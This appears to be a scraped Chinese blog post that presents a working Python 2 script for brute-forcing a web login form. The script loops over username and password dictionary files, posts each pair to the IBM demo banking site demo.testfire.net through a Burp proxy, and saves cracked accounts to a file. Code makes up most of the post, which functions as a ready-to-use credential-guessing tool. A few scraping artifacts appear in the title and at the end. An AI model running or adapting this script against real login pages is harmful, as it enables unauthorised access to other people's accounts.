使用 python 的 urllib2和 urllib模块爆破 form 表单的简易脚本

  1. python 的 http 中 urllib2和 urllib模块在web 表单爆破的使用方法python

  2. 脚本中还增长了 urllib2和 urllib模块如何添加代理的方法web

# -*- coding: utf-8 -*-
import urllib2
import urllib
import time


def brute_force(user, password):
    #strip() 方法用于移除字符串头尾指定的字符(默认为空格)
    name = user.strip()
    passwd = password.strip()

    #添加代理:本地8080端口的代理是 burp 工具,主要是查看脚本发包回包的状况,好定位问题
    
    proxy = urllib2.ProxyHandler({"http":'http://127.0.0.1:8080'})
    opener = urllib2.build_opener(proxy)
    urllib2.install_opener(opener)

    #IBM 公司的一个 测试网站
    url1 = "http://demo.testfire.net/bank/login.aspx"
    user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
    headers = {"User-Agent":user_agent,"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://demo.testfire.net/bank/login.aspx"}
    values = {'uid': name, 'passw': passwd,'btnSubmit':'Login'}
    data = urllib.urlencode(values)#能够把key-value这样的键值对转换成咱们想要的格式,返回的是a=1&b=2这样的字符串
    request = urllib2.Request(url1,data,headers)
    response = urllib2.urlopen(request)
    url2 = response.geturl()
    time.sleep(3)


    if url2 != url1:
        #由于urllib2 返回的页面若是存在302重定向,返回的页面是重定向以后的页面,因此不能以302状态码来判断是否登陆成功,
        #由于重定向以后的页面访问成功是200,不是302;因此以返回的页面是否是发生变化来判断是不是否登陆成功。

        print '---- find user:', name, ' with password:',passwd, '-----'
        print url2
        outFile.write(name + ':' + passwd+'\n' )
    else:
        print '----- error user:', name, ' with password:',passwd, '-----'
        print url2
    response.close()
    return



outFile = open('accounts-cracked.txt', 'w')

if __name__ == '__main__':
    #导入用户名字典
    with open('user.dic', 'r') as userline:
        y = userline.readlines()
        #导入密码的字典
        with open('pass.dic', 'r') as passline:
            b= passline.readlines()
            for u in y:
                for p in b:
                    brute_force(user=u,password=p)
                    
outFile.close()
with open('accounts-cracked.txt','r') as text:
    list = text.readlines()
    sum=len(list)

if sum>0:
    print "找到",sum,"个帐号密码"
else:
    print "All thread OK,maybe not "

输入有点丑,将就用下
clipboard.pngapp

相关文章
相关标签/搜索